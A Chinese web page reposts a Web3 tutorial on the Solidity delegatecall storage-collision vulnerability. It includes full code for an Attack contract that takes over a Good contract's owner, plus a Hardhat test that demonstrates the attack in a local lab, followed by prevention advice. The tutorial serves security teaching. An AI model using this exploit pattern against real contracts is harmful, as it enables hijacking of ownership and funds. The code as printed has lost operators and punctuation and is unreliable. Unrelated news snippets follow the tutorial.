游戏电视苹果数码历史美丽
投稿投诉
美丽时装
彩妆资讯
历史明星
乐活安卓
数码常识
驾车健康
苹果问答
网络发型
电视车载
室内电影
游戏科学
音乐整形

Web3系列教程之高级篇5delegatecall委托调用漏

  。delegatecall()是Solidity中的一个方法,用于从一个原始合约中调用目标合约中的一个函数。然而,与其他方法不同的是,当使用。delegatecall()在目标合约中执行函数时,上下文从原始合约中传递,即代码在目标合约中执行,但变量在原始合约中被修改。
  通过本教程,我们将了解为什么正确理解。delegatecall()的工作原理很重要,否则会产生一些严重后果。等等,什么?
  让我们首先了解这一点是如何运作的。
  在使用。delegatecall()时需要注意的是,原始合约的上下文被传递给目标合约,目标合约的所有状态变化都反映在原始合约的状态上,而不是目标合约的状态上,即使该函数是在目标合约上执行的。
  嗯,不是很清楚吧,我理解。所以让我们试着通过一个例子来理解。
  在以太坊中,一个函数可以表示为432N字节,其中4bytes为函数选择器,32N字节为函数参数。函数选择器。为了得到函数选择器,我们将函数的名称和它的参数类型进行散列,不留空隙,例如,对于像putValue(uintvalue)这样的东西,你将使用keccak256散列putValue(uint),这是Ethereum使用的一个散列函数,然后取其前4个字节。为了更好地理解keccak256和散列,我建议你观看这个video〔1〕函数参数。将每个参数转换为固定长度为32字节的十六进制字符串,并将其连接起来。
  我们有两个合约Student。sol和Calculator。sol。我们不知道Calculator。sol的ABI,但是我们知道他们存在一个add函数,这个函数接收两个uint,并在Calculator。sol中把它们加起来。
  让我们看看如何使用delegateCall来从Student。sol中调用这个函数。pragmasolidity0。8。4;contractStudent{uintpublicmySum;addresspublicstudentAddress;functionaddTwoNumbers(addresscalculator,uinta,uintb)publicreturns(uint){(boolsuccess,bytesmemoryresult)calculator。delegatecall(abi。encodeWithSignature(add(uint256,uint256),a,b));require(success,Thecalltocalculatorcontractfailed);returnabi。decode(result,(uint));}}pragmasolidity0。8。4;contractCalculator{uintpublicresult;addresspublicuser;functionadd(uinta,uintb)publicreturns(uint){resultab;usermsg。sender;returnresult;}}
  我们的Student合同中有一个函数addTwoNumbers,它接收一个地址和两个要相加的数字。它没有直接执行它,而是试图在地址上执行一个。delegatecall(),以获取一个需要两个数字的函数add。
  我们使用了abi。encodeWithSignature,也和abi。encodeWithSelector一样,它首先进行哈希运算,然后从函数的名称和参数类型中取出前4个字节。在我们的例子中,它做了以下工作。(bytes4(keccak256(add(uint,uint)),然后将参数a,b附加到函数选择器的4个字节上。这些参数每个都是32字节长(32字节256位,这也是uint256可以存储的)。
  所有这些在串联后被传递到delegatecall方法中,该方法在计算器合同的地址上被调用。
  实际的添加部分并不那么有趣,有趣的是,Calculator合约实际上设置了一些状态变量。但是请记住,当数值在Calcultor合约中被分配时,它们实际上是被分配到了Student合约的存储空间中,因为deletgatecall在目标合约中执行函数时使用的是原始合约的存储。因此,具体会发生什么情况如下。
  从以前的教程中你知道,solidity中的每个变量槽都是32字节,也就是256位。当我们使用。delegatecall()从Student到Calculator时,我们使用了Student的存储空间,而不是Calculator的存储空间,但问题是,即使我们使用了Student的存储空间,槽的数量也是基于Calculator合约的,在这种情况下,当你在Calculator。sol的add函数中给结果赋值时,你实际上是给student合约中的mySum赋值的。
  这可能是个问题,因为存储槽可以有不同数据类型的变量。如果Student合约中的值是按照这个顺序定义的,会怎么样呢?contractStudent{addresspublicstudentAddress;uintpublicmySum;}
  在这种情况下,address变量实际上最终会成为result的值。你可能会想,一个address数据类型怎么可能包含一个uint的值?要回答这个问题,你必须想得低一点。最后,所有的数据类型都只是字节。address和uint都是32字节的数据类型,所以result的uint值可以被设置在addresspublicstudentAddress变量中,因为它们都还是32字节的数据。实际使用案例
  。delegatecall()在代理(可升级)合约中被大量使用。由于智能合约在默认情况下是不可升级的,使其可升级的方法通常是有一个不改变的存储合约,其中包含一个实施合约的地址。如果你想更新你的合约代码,你就把执行合约的地址改成新的东西。存储合约使用。delegatecall()进行所有调用,这允许运行不同版本的代码,同时随着时间的推移保持相同的持久化存储,无论你改变多少个实现合约。因此,逻辑可以改变,但数据永远不会被分割。使用委托调用(delegatecall)进行攻击
  但是,由于。delegatecall()修改了调用该函数的合约的存储空间,如果。delegatecall()没有被正确实现,就会设计出一些讨厌的攻击。我们现在将模拟一个使用。delegatecall()的攻击。将会发生什么?我们将有三个智能合约Attack。sol、Good。sol和Helper。sol。黑客将能够使用Attack。sol的。delegatecall()来改变Good。sol的所有者。构建
  让我们建立一个例子,你可以体验到攻击是如何发生的。要设置一个Hardhat项目,请打开终端,在一个新的文件夹中执行这些命令npminityesnpminstallsavedevhardhat如果你使用的是Windows系统,请做这个额外的步骤,同时安装这些库:)npminstallsavedevnomiclabshardhatwaffleethereumwafflechainomiclabshardhatethersethers在你安装Hardhat的同一目录下运行。npxhardhat选择Createabasicsampleproject对已指定的HardhatProjectroot按回车键如果你想添加一个。gitignore,请按回车键。按回车键Doyouwanttoinstallthissampleprojectsdependencieswithnpm(nomiclabshardhatwaffleethereumwafflechainomiclabshardhatethersethers)?
  现在你有一个准备好的hardhat项目了!
  让我们从创建一个看起来很无辜的合约开始Good。sol。它将包含Helper合同的地址,以及一个叫做owner的变量。函数setNum将对Helper合约做一个delegatecall)。SPDXLicenseIdentifier:MITpragmasolidity0。8。4;contractGood{addresspublichelper;addresspublicowner;uintpublicnum;constructor(addresshelper){helperhelper;ownermsg。sender;}functionsetNum(uintnum)public{helper。delegatecall(abi。encodeWithSignature(setNum(uint256),num));}}
  在创建完Good。sol之后,我们将在contracts目录下创建名为Helper。sol的Helper合同。这是一个简单的合约,通过setNum函数更新num的值。由于它只有一个变量,该变量将永远指向Slot0。当与delegatecall一起使用时,它将修改原始合约中Slot0的值。SPDXLicenseIdentifier:MITpragmasolidity0。8。4;contractHelper{uintpublicnum;functionsetNum(uintnum)public{numnum;}}
  现在在contracts目录下创建一个名为Attack。sol的合同,并编写以下几行代码。我们将一步步了解它是如何工作的。SPDXLicenseIdentifier:MITpragmasolidity0。8。4;import。Good。sol;contractAttack{addresspublichelper;addresspublicowner;uintpublicnum;Goodpublicgood;constructor(Goodgood){goodGood(good);}functionsetNum(uintnum)public{ownermsg。sender;}functionattack()public{Thisisthewayyoutypecastanaddresstoauintgood。setNum(uint(uint160(address(this))));good。setNum(1);}}
  攻击者将首先部署Attack。sol合约,并在构造函数中获取一个Good合约的地址。然后,他将调用attack函数,该函数将进一步最初调用Good。sol中的setNum函数。
  值得注意的是最初调用setNum的参数,它的地址被类型化为一个uint256,这是它自己的地址。在Good。sol合约中的setNum函数接收到作为uint的地址后,它进一步对Helper合约进行delegatecall,因为现在帮助者变量被设置为Helper合约的地址。
  在Helper合约中,当setNum被执行时,它设置了num,在我们的例子中,现在是Attack。sol的地址被打成一个uint,变成num。请注意,由于num位于Helper合约的Slot0,它实际上会把Attack。sol的地址分配给Good。sol的Slot0。喔。。。你可能知道这是怎么回事了。Good的Slot0是帮助者变量,这意味着,攻击者现在已经成功地将p地址变量更新到它自己的合同上。
  现在,helper合同的地址已经被Attack。sol的地址覆盖了。在Attack。sol的attack函数中被执行的下一件事是另一个setNum,但数字为1。数字1在这里没有任何意义,它可以被设置为任何东西。
  现在,当setNum在Good。sol中被调用时,它将把调用委托给Attack。sol,因为helper合约的地址已经被覆盖了。
  Attack。sol内的setNum被执行,它将owner设置为msg。sender,在这种情况下就是Attack。sol本身,因为它是delegatecall的原始调用者,而且因为所有者在Attack。sol的Slot1,Good。sol的Slot1将被覆盖,也就是它的owner。
  攻击者能够改变Good。sol的owner。
  让我们试着用代码来实际执行这个攻击。我们将利用Hardhat测试来演示这个功能。
  在test文件夹中创建一个名为attack。js的新文件并添加以下几行代码const{expect}require(chai);const{BigNumber}require(ethers);const{ethers,waffle}require(hardhat);describe(Attack,function(){it(ShouldchangetheowneroftheGoodcontract,asyncfunction(){DeploythehelpercontractconsthelperContractawaitethers。getContractFactory(Helper);consthelperContractawaithelperContract。deploy();awaithelperContract。deployed();console。log(HelperContractsAddress:,helperContract。address);DeploythegoodcontractconstgoodContractawaitethers。getContractFactory(Good);constgoodContractawaitgoodContract。deploy(helperContract。address);awaitgoodContract。deployed();console。log(GoodContractsAddress:,goodContract。address);DeploytheAttackcontractconstattackContractawaitethers。getContractFactory(Attack);constattackContractawaitattackContract。deploy(goodContract。address);awaitattackContract。deployed();console。log(AttackContractsAddress,attackContract。address);NowletsattackthegoodcontractStarttheattacklettxawaitattackContract。attack();awaittx。wait();expect(awaitgoodContract。owner())。to。equal(attackContract。address);});});
  要执行测试以验证Good合同的owner确实发生了变化,在你的终端上,指向包含本层所有代码的目录,执行以下命令npxhardhattest
  如果你的测试通过了,那么good合约的所有者地址确实被改变了,因为我们在测试结束时将good中的owner变量的值等同于Attack合约的地址。
  开始吧预防
  使用无状态的合同库,这意味着你委托调用的合同应该只用于执行逻辑,不应该维护状态。这样一来,库中的函数就不可能修改调用合约的状态。资料Delegatecall〔2〕SoliditybyExample〔3〕
  引用链接
  〔1〕video:https:www。youtube。comwatch?vrxZR3ITZlzE
  〔2〕Delegatecall:https:medium。comcoinmonksdelegatecallcallinganothercontractfunctioninsolidityb579f804178c
  〔3〕SoliditybyExample:https:soliditybyexample。org

2人旅行露营用的奇瑞R500房车!功能多,不怕闲置,吃住还温每到节假日,就会出现露营大军,而相较于常见的帐篷露营,现在开着房车去露营这种小众但高质量的露营方式也圈粉不少,并成为越来越多人的新选择!而对于热衷露营和旅行的朋友,一款多功能的……同室操戈价格相当!荣耀X40和荣耀X40GT哪个好?我说这样荣耀X40可以说是荣耀品牌中,非常成功的一款奢华的低端5G机型,但是在其上市不足一个月的时间内,荣耀品牌便匆匆上市了另一款增强版性能旗舰荣耀X40GT。荣耀X40与荣耀X……早睡早起真的能长寿吗?根据《黄帝内经》里的四气调神大论记载,春夏秋冬跟我们农民种地,五谷收成一起走,春生,夏长,秋收,冬藏。据记载春三月又叫发陈,天地俱生,万物以荣,我们应该让我们的身形体形随……举重冠军陈晓敏,03年卖金牌赚了399万,4年后全家移居海外阅读此文前,诚邀您点击一下关注,方便您随时查阅一系列优质文章,同时便于进行讨论与分享,感谢您的支持据说她伤病复发了,如果她拿那笔钱来治病的话二七年,一位曾经的奥运冠军为了……魔界战记7无才将军威康角色预告片分享日本一日前分享了《魔界战记7》的第三个角色预告片,介绍了威康(寺岛拓笃配音)。关于这名角色的介绍胆小、懒惰、自恋的大江户幕府将军。他早上例行公事就是照镜子。他对女人……刚刚,英镑又崩了!亚太大跌,A股扛住了这板块突然大爆发,40中国基金报记者李智新的一周开始了,一起来看下今天上午的市场情况。9月26日,A股早盘走低后震荡反弹,指数表现分化。截至午间收盘,上证指数跌0。08,而创业板指一度涨……中小企业老板的困境停不下的设备,找不到的订单这几年很多小老板的日子确实不好过,我们给工人的工资,技术员上万,不比大厂差,自己起得比鸡早睡得比猫晚,既要懂技术,懂管理,懂财务,又当业务员,又当司机,又当工人,赚点钱得添设备……中国四大冷门景点,去过的都赞叹不已小长假即将来临,不少人又开始琢磨出门旅游了。如何能够避开人潮拥挤,同时又能真正有所收获、享受到旅游的乐趣?今天给大家介绍四个国内的冷门景点,低调奢华、神秘安逸,但却蕴藏着……演员于月仙去世1年多了,丈夫张学松的选择令人泪目于月仙是深受观众喜爱的著名演员,出演了《水浒传》《生命的祭坛》《乡村爱情》《青山绿水红日子》等。2010年,凭借《乡村爱情》荣获华鼎奖乡村题材类最佳女演员奖项。20……幼儿园食堂管理的五大趋势十四五学前提升行动计划的分析近日国家9大部委联合下文的《十四五学前教育发展提升行动计划》,各地教育工作者开始加大这一领域的思考,关于幼儿园的食堂的发展,上次做了现状分析,现在分析五大趋势。1专业化趋……孩子是妈妈生的,爸爸却产后抑郁,男人也会抑郁可不是开玩笑在大多数人的印象中,似乎只有女性才会患上产后抑郁,但实际上,产后抑郁并不是产后妈妈的专属,爸爸们也有患上产后抑郁的风险。孩子是妈妈生的,爸爸却产后抑郁了最近,朋友大……荷兰认为中国能造出顶尖光刻机,美国为何不愿相信?据彭博社报道,荷兰光刻机巨头阿斯麦公司首席执行官温宁克日前接受采访时说了一个观点,美国主导的针对中国的半导体出口管制措施,最终会促使中国在高端芯片制造设备领域成功研发出自己的技……
泰景四号01卫星发射成功!酷狗让普通人的歌声飞向太空今天,普通人的歌声,也能被太空听见!2022年2月27日11时6分,长征八号遥二运载火箭在中国文昌航天发射场成功发射,并以1箭22星方式,成功将22颗卫星送入预定轨道,正……大S和具俊晔结婚,穿婚纱裙美丽动人幸福微笑,具俊晔拘束太端着一个真正有思想、有眼界、有个性的女人,从来不会为了任何人而活,也不会在乎他人的看法和说辞,在她们身上,有着很多女人没有的东西,比如勇气、漂亮以及敢爱敢恨的做法,而这些大S都拥有……效率仅次周琦,中国男篮最好的蓝领,十年国家队谢幕战?五年前亚洲杯,杜锋带领的男篮蓝队无缘四强,在五六名的排位赛上1分险胜黎巴嫩,获得第五。这次亚洲杯,又是杜锋带队,又是无缘四强,不同的是,这一次被此前在亚洲杯上从未赢过自己的黎巴……期待!中超球队正式报价特谢拉转会费高达3500万自从去年正式离开中国之后,中超传奇球星、前江苏苏宁外援特谢拉,在土超豪门贝西克塔斯过得并不如意。而根据土耳其媒体《hurriyet》的最新消息显示,已经有中超球队正式向贝西克塔……一位中国外贸人欧洲急行军9天辗转3国,目的只有一个中新经纬12月9日电(常涛马静)12月5日,一架载有40人外贸考察团的包机航班,从四川成都起飞,经意大利罗马转机,最终降落在法国巴黎机场。他们此行为期9天,共辗转3个国家,但目……在无边的虚无中,宇宙是如何破壳而出的?事先说明,这个问题没有人知道答案,这里仅供大家讨论。当然,我们也不希望大家在这里做永远没有结果的辩论,毕竟宇宙诞生这个问题,是人类的终极问题。它比人类的诞生,存在和意义更有研究……古装男神蒋劲夫一手好牌打得稀碎,这是他想要的结果吗?蒋劲夫转行送外卖这一标题吸引了不少人的眼球,在直播间蒋劲夫袒露自己自从被封杀后,一直都是靠着送外卖为生,甚至常常需要从晚上送到第二天早上,因此也引发了不少网友热议。互联网……刘晓庆一生有过7个男人,60岁再当新娘,如今被富豪丈夫宠成宝10月30日在上海百乐门举办了一场盛大的生日宴会。现场群星云集,朱时茂为她献上大捧玫瑰,还有很多商业大咖谈笑风生。他们相聚一起都是为了一个人,就是刘晓庆。当天……曾经打遍北海无敌手,让欧洲闻风丧胆的丹麦,现在还有多少家底?在世界足坛中,北欧球队一直都是不可忽视的一股力量。那些崇尚力量的北欧人,身体强悍却不失技术,总能给人一种十分深刻的印象。而在北欧诸国中,丹麦无疑是最具代表性的一个。号称红……古人只穿裙子不穿裤子?中国人的智慧不是不穿,而是你看不见前言在我们的印象之中,古人穿的衣服要么飘逸轻灵,要么典雅端庄,实在是很难让我们将其与裤子联系在一起,而当下盛为流行的汉服,也见不到裤子身影。似乎从古至今,古人就没有穿过裤……追星大赢家!欧洲冠军儿子晒与国乒7大奥运冠军合影,太令人羡慕在最近结束的澳门站赛事中,中国乒乓球运动员的表现非常出色,尤其是在比赛中很多选手都展现出了超强的实力,年轻球员的出色发挥,令大家眼前一亮,他们都是中国乒乓球队的有生力量,将会在……央行关键数据曝光!印钞减速,房贷数据吓人去年凉,结果今年透心凉。刚刚,央行公布了最新的10月金融数据,有必要好好梳理一番。按照往年,四季度是传统淡季,之前该刺激的都刺激了,不会再有大动作。所以,这份……
友情链接:易事利快生活快传网聚热点七猫云快好知快百科中准网快好找文好找中准网快软网